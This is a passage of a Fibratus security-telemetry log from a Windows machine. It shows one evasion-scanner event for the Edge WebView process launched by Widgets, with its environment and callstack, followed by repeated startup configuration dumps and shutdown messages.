--edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10144.11348.17994709373943217274 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10144.11348.17994709373943217274 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:12272 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_12272_UMOKPYZQSWNHCPXC EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:343 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd61923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd618af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd61966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffcdd61a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffcb85c56d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb858408f C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb858e3b9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb858db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb8606922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcb85b9dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85b89d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cf09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdda4b686 C:\Windows\System32\SHCore.dll!SHTaskPoolQueueTask|0x7ffcb85f554e C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcb85c6a00 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85c857b C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85c8d67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85c6f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85ce223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cdd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cdcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85d06d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T16:35:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T16:35:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:35:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:35:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T18:35:33+01:00 level=info msg=bootstrapping with pid 4956. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T18:35:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true enable-handle=>false max-buffers=>36 enable-thread=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true flush-interval=>1s enable-registry=>true stack-enrichment=>true enable-fileio=>true min-buffers=>16 buffer-size=>512 enable-threadpool=>false enable-dns=>false enable-image=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true max-age=>0 max-backups=>15 level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false enabled=>false durable=>false vhost=>/ exchange=>fibratus url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic timeout=>5s passive=>false delivery-mode=>transient] http=>[ endpoints=>[] timeout=>5s serializer=>json enable-gzip=>false method=>POST enabled=>false tls-insecure-skip-verify=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ healthcheck-interval=>10s enabled=>false timeout=>5s template-name=>fibratus trace-log=>false flush-period=>1s index-name=>fibratus healthcheck=>true gzip-compression=>false healthcheck-timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] sniff=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true skip-files=>false skip-registry=>false enabled=>false scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-06T18:35:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:35:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:39:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T18:39:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:39:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:39:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T18:39:18+01:00 level=info msg=bootstrapping with pid 18948. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T18:39:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html port=>25 to=>[] enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-registry=>true enable-threadpool=>false flush-interval=>1s enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-image=>true enable-dns=>false enable-audit-api=>true stack-enrichment=>true max-buffers=>36 enable-handle=>false enable-vamap=>true enable-fileio=>true min-buffers=>16 buffer-size=>512 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text level=>info log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] http=>[ method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s serializer=>json enabled=>false endpoints=>[]] amqp=>[ timeout=>5s exchange=>fibratus routing-key=>fibratus enabled=>false url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient exchange-type=>topic passive=>false durable=>false tls-insecure-skip-verify=>false] elasticsearch=>[ trace-log=>false sniff=>false healthcheck-timeout=>5s index-name=>fibratus enabled=>false healthcheck-interval=>10s flush-period=>1s healthcheck=>true template-name=>fibratus timeout=>5s gzip-compression=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200]]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-files=>false scan-timeout=>10s skip-allocs=>false enabled=>false skip-registry=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-06T18:39:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:39:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:39:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T18:39:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:39:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:40:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T18:40:10+01:00 level=info msg=bootstrapping with pid 14812. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T18:40:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true buffer-size=>512 enable-mem=>false enable-fileio=>true flush-interval=>1s min-buffers=>16 enable-image=>true enable-dns=>false stack-enrichment=>true max-buffers=>36 enable-net=>true enable-handle=>false enable-thread=>true enable-threadpool=>false enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 formatter=>text log-stdout=>true level=>info max-age=>0] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck=>true gzip-compression=>false template-name=>fibratus healthcheck-interval=>10s index-name=>fibratus bulk-workers=>1 timeout=>5s sniff=>false flush-period=>1s trace-log=>false enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ enable-gzip=>false timeout=>5s serializer=>json endpoints=>[] tls-insecure-skip-verify=>false enabled=>false method=>POST] amqp=>[ exchange-type=>topic routing-key=>fibratus delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false exchange=>fibratus enabled=>false durable=>false timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false skip-allocs=>false scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true enabled=>false skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-06T18:40:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:40:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T18:40:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:40:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:40:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:40:20+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T18:40:20+01:00 level=info msg=bootstrapping with pid 6180. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T18:40:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false port=>25 use-template=>true content-type=>text/html to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-registry=>true enable-fileio=>true stack-enrichment=>true max-buffers=>36 enable-mem=>false enable-image=>true enable-audit-api=>true min-buffers=>16 enable-dns=>false enable-handle=>false flush-interval=>1s enable-thread=>true buffer-size=>512 enable-net=>true enable-vamap=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 formatter=>text] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false trace-log=>false healthcheck=>true flush-period=>1s healthcheck-interval=>10s gzip-compression=>false timeout=>5s sniff=>false template-name=>fibratus index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s] amqp=>[ routing-key=>fibratus enabled=>false exchange-type=>topic passive=>false timeout=>5s delivery-mode=>transient tls-insecure-skip-verify=>false url=>amqp://localhost:5672 durable=>false exchange=>fibratus vhost=>/] http=>[ enable-gzip=>false timeout=>5s serializer=>json method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-allocs=>false skip-files=>false scan-timeout=>10s skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-06T18:40:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:40:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:40:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T18:40:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:40:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:41:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T18:41:38+01:00 level=info msg=bootstrapping with pid 9720. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T18:41:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-audit-api=>true enable-dns=>false buffer-size=>512 flush-interval=>1s enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-handle=>false max-buffers=>36 enable-thread=>true enable-image=>true enable-vamap=>true min-buffers=>16 enable-threadpool=>false enable-fileio=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true max-size=>100 max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ sniff=>false timeout=>5s flush-period=>1s enabled=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 trace-log=>false healthcheck=>true healthcheck-interval=>10s index-name=>fibratus template-name=>fibratus healthcheck-timeout=>5s gzip-compression=>false] http=>[ endpoints=>[] enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json timeout=>5s enabled=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus vhost=>/ exchange=>fibratus enabled=>false passive=>false delivery-mode=>transient exchange-type=>topic timeout=>5s durable=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false enabled=>false skip-files=>false skip-registry=>false fastscan=>true skip-allocs=>false excluded-files=>[] scan-timeout=>10s excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-06T18:41:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:41:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:51:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T18:51:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:51:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:52:44+01:00 level=info msg=rule engine is disabled 